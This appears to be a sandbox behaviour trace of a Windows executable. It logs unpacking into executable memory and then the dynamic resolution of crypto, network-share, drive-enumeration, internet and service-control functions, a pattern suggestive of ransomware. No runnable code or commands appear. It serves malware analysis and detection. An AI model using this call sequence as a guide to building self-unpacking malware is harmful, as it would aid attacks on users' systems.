GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.382] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.383] GetMonitorInfoA (in: hMonitor=0x0, lpmi=0x18d5d8 | out: lpmi=0x18d5d8) returned 0 [0095.794] LocalAlloc (uFlags=0x0, uBytes=0x451b8) returned 0x5024418 [0096.932] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x754f0000 [0096.941] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x754f0000 [0096.942] VirtualProtect (in: lpAddress=0x50695d8, dwSize=0x33d4a, flNewProtect=0x40, lpflOldProtect=0x18d468 | out: lpflOldProtect=0x18d468*=0x4) returned 1 [0096.959] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x754f0000 [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="GlobalAlloc") returned 0x7550588e [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="GetLastError") returned 0x755011c0 [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="Sleep") returned 0x755010ff [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualAlloc") returned 0x75501856 [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7552735f [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="Module32First") returned 0x75585cd9 [0096.959] GetProcAddress (hModule=0x754f0000, lpProcName="CloseHandle") returned 0x75501410 [0096.959] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0096.962] Module32First (hSnapshot=0x58, lpme=0x18d1b8) returned 1 [0096.963] VirtualAlloc (lpAddress=0x0, dwSize=0x5fa50, flAllocationType=0x1000, flProtect=0x40) returned 0x220000 [0096.976] GetProcAddress (hModule=0x754f0000, lpProcName="LoadLibraryA") returned 0x755049d7 [0096.976] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x754f0000 [0096.976] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualAlloc") returned 0x75501856 [0096.976] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualProtect") returned 0x7550435f [0096.976] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualFree") returned 0x7550186e [0096.976] GetProcAddress (hModule=0x754f0000, lpProcName="GetVersionExA") returned 0x75503519 [0096.977] GetProcAddress (hModule=0x754f0000, lpProcName="TerminateProcess") returned 0x7551d802 [0096.977] GetProcAddress (hModule=0x754f0000, lpProcName="ExitProcess") returned 0x75507a10 [0096.977] GetProcAddress (hModule=0x754f0000, lpProcName="SetErrorMode") returned 0x75501b00 [0096.977] SetErrorMode (uMode=0x400) returned 0x0 [0096.977] SetErrorMode (uMode=0x0) returned 0x400 [0096.977] GetVersionExA (in: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x4, dwPlatformId=0xffffffff, szCSDVersion="s}Yw") | out: lpVersionInformation=0x18c0e8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0096.977] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x280000 [0096.985] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d170 | out: lpflOldProtect=0x18d170*=0x2) returned 1 [0097.025] VirtualFree (lpAddress=0x280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.027] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75780000 [0097.027] GetProcAddress (hModule=0x75780000, lpProcName="RpcStringFreeW") returned 0x757a1635 [0097.027] GetProcAddress (hModule=0x75780000, lpProcName="UuidToStringW") returned 0x757c1ee5 [0097.027] GetProcAddress (hModule=0x75780000, lpProcName="UuidToStringA") returned 0x757fd918 [0097.027] GetProcAddress (hModule=0x75780000, lpProcName="RpcStringFreeA") returned 0x757c3fc5 [0097.027] GetProcAddress (hModule=0x75780000, lpProcName="UuidCreate") returned 0x7579f48b [0097.027] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75080000 [0097.086] GetProcAddress (hModule=0x75080000, lpProcName="WNetCloseEnum") returned 0x75082dd6 [0097.086] GetProcAddress (hModule=0x75080000, lpProcName="WNetOpenEnumW") returned 0x75082f06 [0097.086] GetProcAddress (hModule=0x75080000, lpProcName="WNetEnumResourceW") returned 0x75083058 [0097.086] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x76e00000 [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetCloseHandle") returned 0x76e1ab49 [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetOpenUrlW") returned 0x76e7be5c [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetReadFile") returned 0x76e1b406 [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetOpenUrlA") returned 0x76e430f1 [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="HttpQueryInfoW") returned 0x76e25c75 [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetOpenA") returned 0x76e2f18e [0097.122] GetProcAddress (hModule=0x76e00000, lpProcName="InternetOpenW") returned 0x76e29197 [0097.122] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75040000 [0097.154] GetProcAddress (hModule=0x75040000, lpProcName="timeGetTime") returned 0x750426e0 [0097.154] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76f00000 [0097.154] GetProcAddress (hModule=0x76f00000, lpProcName="PathFindExtensionW") returned 0x76f1a1b9 [0097.154] GetProcAddress (hModule=0x76f00000, lpProcName="PathFindFileNameW") returned 0x76f1bb71 [0097.154] GetProcAddress (hModule=0x76f00000, lpProcName="PathRemoveFileSpecW") returned 0x76f13248 [0097.155] GetProcAddress (hModule=0x76f00000, lpProcName="PathFileExistsW") returned 0x76f145bf [0097.155] GetProcAddress (hModule=0x76f00000, lpProcName="PathAppendW") returned 0x76f181ef [0097.155] GetProcAddress (hModule=0x76f00000, lpProcName="PathAppendA") returned 0x76f0d65e [0097.155] GetProcAddress (hModule=0x76f00000, lpProcName="PathFileExistsA") returned 0x76f3ad1a [0097.155] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x754f0000 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="GetTickCount") returned 0x7550110c [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="TlsFree") returned 0x75503587 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="GetCommandLineW") returned 0x75505223 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="CreateFileA") returned 0x755053c6 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="FindFirstFileW") returned 0x75504435 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="SetFilePointer") returned 0x755017d1 [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="lstrlenA") returned 0x75505a4b [0097.155] GetProcAddress (hModule=0x754f0000, lpProcName="SetErrorMode") returned 0x75501b00 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="FreeLibrary") returned 0x755034c8 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="CreateProcessW") returned 0x7550103d [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="SetFilePointerEx") returned 0x7551c807 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="CreateDirectoryW") returned 0x75504259 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="WaitForSingleObject") returned 0x75501136 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="GetLogicalDrives") returned 0x75505371 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualFree") returned 0x7550186e [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="WriteFile") returned 0x75501282 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="GetDriveTypeA") returned 0x7551ef75 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="OpenProcess") returned 0x75501986 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="GlobalAlloc") returned 0x7550588e [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="GetSystemDirectoryW") returned 0x75505063 [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="WideCharToMultiByte") returned 0x7550170d [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="LoadLibraryW") returned 0x7550492b [0097.156] GetProcAddress (hModule=0x754f0000, lpProcName="Sleep") returned 0x755010ff [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="CopyFileW") returned 0x7552830d [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="FormatMessageW") returned 0x75504620 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcpynW") returned 0x7552d556 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="CreateProcessA") returned 0x75501072 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="TerminateProcess") returned 0x7551d802 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="ReadFile") returned 0x75503ed3 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="CreateFileW") returned 0x75503f5c [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcatA") returned 0x75522b7a [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="GetEnvironmentVariableA") returned 0x755033a0 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcmpW") returned 0x75505929 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="MultiByteToWideChar") returned 0x7550192e [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="lstrlenW") returned 0x75501700 [0097.157] GetProcAddress (hModule=0x754f0000, lpProcName="FlushFileBuffers") returned 0x7550469b [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="GetShortPathNameA") returned 0x7552594d [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="GetFileSizeEx") returned 0x755059e2 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="GetLastError") returned 0x755011c0 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="SetLastError") returned 0x755011a9 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="GetProcAddress") returned 0x75501222 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="VirtualAlloc") returned 0x75501856 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="MoveFileW") returned 0x75519af0 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="FindClose") returned 0x75504442 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="Process32FirstW") returned 0x75528baf [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="LocalAlloc") returned 0x7550168c [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="CreateEventW") returned 0x7550183e [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="GetModuleFileNameA") returned 0x755014b1 [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="Process32NextW") returned 0x7552896c [0097.158] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcatW") returned 0x7552828e [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="CreateMutexA") returned 0x75504c6b [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="FatalAppExitA") returned 0x75584691 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7552735f [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="CloseHandle") returned 0x75501410 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="DeleteFileW") returned 0x755089b3 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="LocalFree") returned 0x75502d3c [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcpyW") returned 0x75523102 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="DeleteFileA") returned 0x75505444 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="lstrcpyA") returned 0x75522a9d [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="SetPriorityClass") returned 0x7551cf28 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="GetModuleHandleW") returned 0x755034b0 [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="GetComputerNameW") returned 0x7550dd0e [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="GetExitCodeProcess") returned 0x7551174d [0097.159] GetProcAddress (hModule=0x754f0000, lpProcName="GetModuleFileNameW") returned 0x75504950 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="GlobalFree") returned 0x75505558 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="GetVersion") returned 0x75504467 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="CreateDirectoryA") returned 0x7552d526 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="CreateThread") returned 0x755034d5 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="TlsSetValue") returned 0x755014fb [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="TlsGetValue") returned 0x755011e0 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="TlsAlloc") returned 0x755049ad [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75501916 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="SetUnhandledExceptionFilter") returned 0x755087c9 [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="UnhandledExceptionFilter") returned 0x7552772f [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="FreeEnvironmentStringsW") returned 0x755051cb [0097.160] GetProcAddress (hModule=0x754f0000, lpProcName="GetEnvironmentStringsW") returned 0x755051e3 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentProcessId") returned 0x755011f8 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="QueryPerformanceCounter") returned 0x75501725 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetStartupInfoW") returned 0x75504d40 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="DeleteCriticalSection") returned 0x775945f5 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetTimeZoneInformation") returned 0x7550465a [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="RaiseException") returned 0x755058a6 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetStringTypeW") returned 0x75501946 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="HeapSize") returned 0x77593002 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="LoadLibraryExW") returned 0x7550495d [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="HeapAlloc") returned 0x7758e026 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetLocaleInfoW") returned 0x75503c42 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="IsValidLocale") returned 0x7551ce46 [0097.161] GetProcAddress (hModule=0x754f0000, lpProcName="GetUserDefaultLCID") returned 0x75503da5 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="EnumSystemLocalesW") returned 0x7558425f [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetDateFormatW") returned 0x755234d7 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetTimeFormatW") returned 0x7551f481 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="CompareStringW") returned 0x75503bca [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="LCMapStringW") returned 0x755017b9 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetConsoleCP") returned 0x755a7bff [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetConsoleMode") returned 0x75501328 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="HeapReAlloc") returned 0x775a1f6e [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="SetStdHandle") returned 0x7558454f [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="SetEndOfFile") returned 0x7551ce2e [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetStdHandle") returned 0x755051b3 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetFileType") returned 0x75503531 [0097.162] GetProcAddress (hModule=0x754f0000, lpProcName="GetModuleHandleExW") returned 0x75504a6f [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="WriteConsoleW") returned 0x75527aca [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="ReadConsoleW") returned 0x755a739a [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="OutputDebugStringW") returned 0x7552d1d4 [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="SetConsoleCtrlHandler") returned 0x75508a09 [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="RtlUnwind") returned 0x7552d1c3 [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="LeaveCriticalSection") returned 0x77582270 [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="EnterCriticalSection") returned 0x775822b0 [0097.163] GetProcAddress (hModule=0x754f0000, lpProcName="AreFileApisANSI") returned 0x755840d1 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="ExitProcess") returned 0x75507a10 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetProcessHeap") returned 0x755014e9 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentThreadId") returned 0x75501450 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentThread") returned 0x755017ec [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetCPInfo") returned 0x75505189 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="HeapFree") returned 0x755014c9 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="SetEnvironmentVariableA") returned 0x7550e331 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="EncodePointer") returned 0x775a0fcb [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="DecodePointer") returned 0x77599d35 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetSystemTimeAsFileTime") returned 0x75503509 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentProcess") returned 0x75501809 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="CreateSemaphoreW") returned 0x7551ca5a [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetOEMCP") returned 0x7552d1a1 [0097.164] GetProcAddress (hModule=0x754f0000, lpProcName="GetACP") returned 0x7550179c [0097.165] GetProcAddress (hModule=0x754f0000, lpProcName="IsValidCodePage") returned 0x75504493 [0097.165] GetProcAddress (hModule=0x754f0000, lpProcName="IsProcessorFeaturePresent") returned 0x75505235 [0097.165] GetProcAddress (hModule=0x754f0000, lpProcName="FindNextFileW") returned 0x755054ee [0097.165] GetProcAddress (hModule=0x754f0000, lpProcName="IsDebuggerPresent") returned 0x75504a5d [0097.165] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75620000 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="LoadCursorW") returned 0x756388f7 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="TranslateMessage") returned 0x75637809 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="RegisterClassExW") returned 0x7563b17d [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="ShowWindow") returned 0x75640dfb [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="IsWindow") returned 0x75637136 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="CreateWindowExW") returned 0x75638a29 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="UpdateWindow") returned 0x75643559 [0097.165] GetProcAddress (hModule=0x75620000, lpProcName="DefWindowProcW") returned 0x775925dd [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="PeekMessageW") returned 0x756405ba [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="PostThreadMessageW") returned 0x75638bff [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="MessageBoxW") returned 0x7568fd3f [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="DispatchMessageW") returned 0x7563787b [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="PostQuitMessage") returned 0x75639abb [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="DestroyWindow") returned 0x75639a55 [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="SendMessageW") returned 0x75639679 [0097.166] GetProcAddress (hModule=0x75620000, lpProcName="GetMessageW") returned 0x756378e2 [0097.166] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75b60000 [0097.166] GetProcAddress (hModule=0x75b60000, lpProcName="CryptGetHashParam") returned 0x75b6df7e [0097.166] GetProcAddress (hModule=0x75b60000, lpProcName="CryptAcquireContextW") returned 0x75b6df14 [0097.166] GetProcAddress (hModule=0x75b60000, lpProcName="OpenSCManagerW") returned 0x75b6ca64 [0097.166] GetProcAddress (hModule=0x75b60000, lpProcName="OpenServiceW") returned 0x75b6ca4c [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptReleaseContext") returned 0x75b6e124 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="GetUserNameW") returned 0x75b7157a [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptHashData") returned 0x75b6df36 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="RegSetValueExW") returned 0x75b714d6 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="RegCloseKey") returned 0x75b7469d [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptDestroyHash") returned 0x75b6df66 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="ControlService") returned 0x75b87144 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="RegOpenKeyExW") returned 0x75b7468d [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptCreateHash") returned 0x75b6df4e [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptEncrypt") returned 0x75b8779b [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CryptImportKey") returned 0x75b6c532 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="QueryServiceStatus") returned 0x75b72a86 [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="RegQueryValueExW") returned 0x75b746ad [0097.167] GetProcAddress (hModule=0x75b60000, lpProcName="CloseServiceHandle") returned 0x75b7369c [0097.167] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76190000 [0097.170] GetProcAddress (hModule=0x76190000, lpProcName="SHGetPathFromIDListW") returned 0x762217bf [0097.171] GetProcAddress (hModule=0x76190000, lpProcName="SHGetSpecialFolderLocation") returned 0x7621e141 [0097.171] GetProcAddress (hModule=0x76190000, lpProcName="CommandLineToArgvW") returned 0x761a9ee8 [0097.171] GetProcAddress (hModule=0x76190000, lpProcName="ShellExecuteA") returned 0x763d7078 [0097.171] GetProcAddress (hModule=0x76190000, lpProcName="ShellExecuteExW") returned 0x761b1e46 [0097.171] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75390000 [0097.171] GetProcAddress (hModule=0x75390000, lpProcName="CoInitialize") returned 0x753ab636 [0097.171] GetProcAddress (hModule=0x75390000, lpProcName="CoInitializeSecurity") returned 0x753b7259 [0097.171] GetProcAddress (hModule=0x75390000, lpProcName="CoUninitialize") returned 0x753d86d3 [0097.171] GetProcAddress (hModule=0x75390000, lpProcName="CoCreateInstance") returned 0x753d9d0b [0097.171] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75ad0000 [0097.171] GetProcAddress (hModule=0x75ad0000, lpProcName=0xca) returned 0x75adfd6b [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0x2) returned 0x75ad4642 [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0x9) returned 0x75ad3eae [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0x8) returned 0x75ad3ed5 